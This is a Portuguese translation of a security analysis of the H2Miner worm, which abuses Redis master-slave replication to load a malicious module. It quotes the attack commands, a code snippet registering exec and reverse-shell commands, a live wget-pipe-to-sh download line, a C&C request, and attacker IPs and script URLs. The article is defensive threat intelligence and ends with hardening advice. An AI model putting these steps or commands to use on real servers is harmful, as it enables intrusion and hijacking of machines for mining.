Uma nova onda de vermes H2Miner explorando Redis RCE foi descoberta.

Um dia atrás, um dos servidores do meu projeto foi atacado por um verme semelhante. Em busca da resposta para a pergunta "o que foi isso?", encontrei um artigo incrível da equipe de Segurança da Alibaba Cloud. Como não encontrei este artigo no Habr, decidi traduzi-lo especialmente para você <3

Introdução

Recentemente, a equipe de segurança da Alibaba Cloud descobriu um surto repentino do H2Miner. Esse tipo de verme malicioso utiliza a falta de autorização ou senhas fracas para o Redis como portas de entrada para seus sistemas, após o que sincroniza seu próprio módulo malicioso com o slave através da sincronização master-slave e, finalmente, carrega esse módulo malicioso na máquina atacada e executa instruções maliciosas.

No passado, os ataques aos seus sistemas eram principalmente realizados por métodos que incluíam tarefas agendadas ou chaves SSH que eram gravadas em sua máquina após o invasor acessar o Redis. Felizmente, esse método não pode ser frequentemente utilizado devido a problemas de controle de permissões ou devido a diferentes versões de sistema. No entanto, esse método de carregar um módulo malicioso pode executar comandos do atacante diretamente ou acessar o shell, o que é perigoso para o seu sistema.

Devido ao grande número de servidores Redis disponíveis na internet (quase 1 milhão), a equipe de segurança da Alibaba Cloud, como um lembrete amigável, recomenda que os usuários não concedam acesso ao Redis pela rede e verifiquem regularmente a robustez de suas senhas, além de verificar se não estão suscetíveis a ataques de força bruta.

H2Miner

H2Miner é um botnet de mineração para sistemas baseados em Linux, que pode invadir seu sistema de várias maneiras, incluindo falta de autorização no Hadoop yarn, Docker e vulnerabilidade de execução remota de comando no Redis (RCE). O botnet opera fazendo o download de scripts maliciosos e malware para minerar seus dados, expandindo horizontalmente o ataque e mantendo comunicação de comando e controle (C&C).

Redis RCE

Pavel Toporkov compartilhou conhecimentos sobre este assunto na ZeroNights 2018. Após a versão 4.0, o Redis passou a suportar a função de carregar módulos externos, que oferece aos usuários a possibilidade de carregar arquivos .so, compilados em C, no Redis para executar comandos específicos. Embora esta função seja útil, ela contém uma vulnerabilidade em que arquivos podem ser sincronizados com o slave no modo master-slave através do fullresync. Isso pode ser explorado por um invasor para transferir arquivos .so maliciosos. Após a transferência, os criminosos carregam o módulo na instância Redis comprometida e executam qualquer comando.

Análise do worm malicioso

Recentemente, a equipe de segurança da Alibaba Cloud descobriu que o número de mineradores maliciosos H2Miner aumentou drasticamente. De acordo com a análise, o processo geral de ocorrência do ataque é o seguinte:

Uma nova onda de vermes H2Miner explorando Redis RCE foi descoberta.

H2Miner utiliza RCE Redis para um ataque completo. Primeiro, os criminosos atacam servidores Redis desprotegidos ou servidores com senhas fracas.

Em seguida, eles usam o comando config set dbfilename red2.so para alterar o nome do arquivo. Após isso, os atacantes executam o comando slaveof para definir o endereço do host de replicação master-slave.

Quando a instância Redis comprometida estabelece uma conexão master-slave com o Redis malicioso pertencente ao invasor, o atacante envia o módulo infectado usando o comando fullresync para sincronizar os arquivos. Então, o arquivo red2.so será carregado na máquina comprometida. Depois, os invasores utilizam o módulo ./red2.so para carregar este arquivo .so. O módulo pode executar comandos do invasor ou iniciar uma conexão reversa (backdoor) para obter acesso à máquina comprometida.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

Após executar um comando malicioso, como / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, o invasor irá apagar o nome do arquivo de backup e descarregar o módulo do sistema para eliminar vestígios. No entanto, o arquivo red2.so ainda estará presente na máquina comprometida. Os usuários são recomendados a estarem atentos a esse arquivo suspeito na pasta de sua instância Redis.

Além de eliminar alguns processos maliciosos para roubo de recursos, o invasor seguiu um roteiro malicioso, carregando e executando arquivos binários para 142.44.191.122/kinsing. Isso significa que o nome do processo ou o nome do diretório contendo kinsing no host pode indicar que essa máquina foi infectada por este vírus.

De acordo com os resultados da engenharia reversa, o malware executa principalmente as seguintes funções:

  • Carregamento e execução de arquivos
  • Mineração
  • Manutenção da comunicação C&C e execução de comandos do atacante

Uma nova onda de vermes H2Miner explorando Redis RCE foi descoberta.

Use masscan para escaneamento externo para expandir a influência. Além disso, o endereço IP do servidor C&C está rigidamente codificado no programa, e o host atacado interagirá com o servidor de comunicação C&C por meio de solicitações HTTP, onde as informações do zumbi (servidor comprometido) são identificadas no cabeçalho HTTP.

Uma nova onda de vermes H2Miner explorando Redis RCE foi descoberta.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

Outros métodos de ataque

Uma nova onda de vermes H2Miner explorando Redis RCE foi descoberta.

Endereços e links utilizados pelo worm

/kinsing

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

c&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

Conselho

Primeiro, o Redis não deve estar acessível a partir da Internet e deve ser protegido por uma senha forte. Além disso, é importante que os clientes verifiquem a ausência do arquivo red2.so no diretório do Redis e a ausência de "kinsing" no nome do arquivo / processo no host.

Fonte: habr.com

Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS 🔥 Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS | ProHoster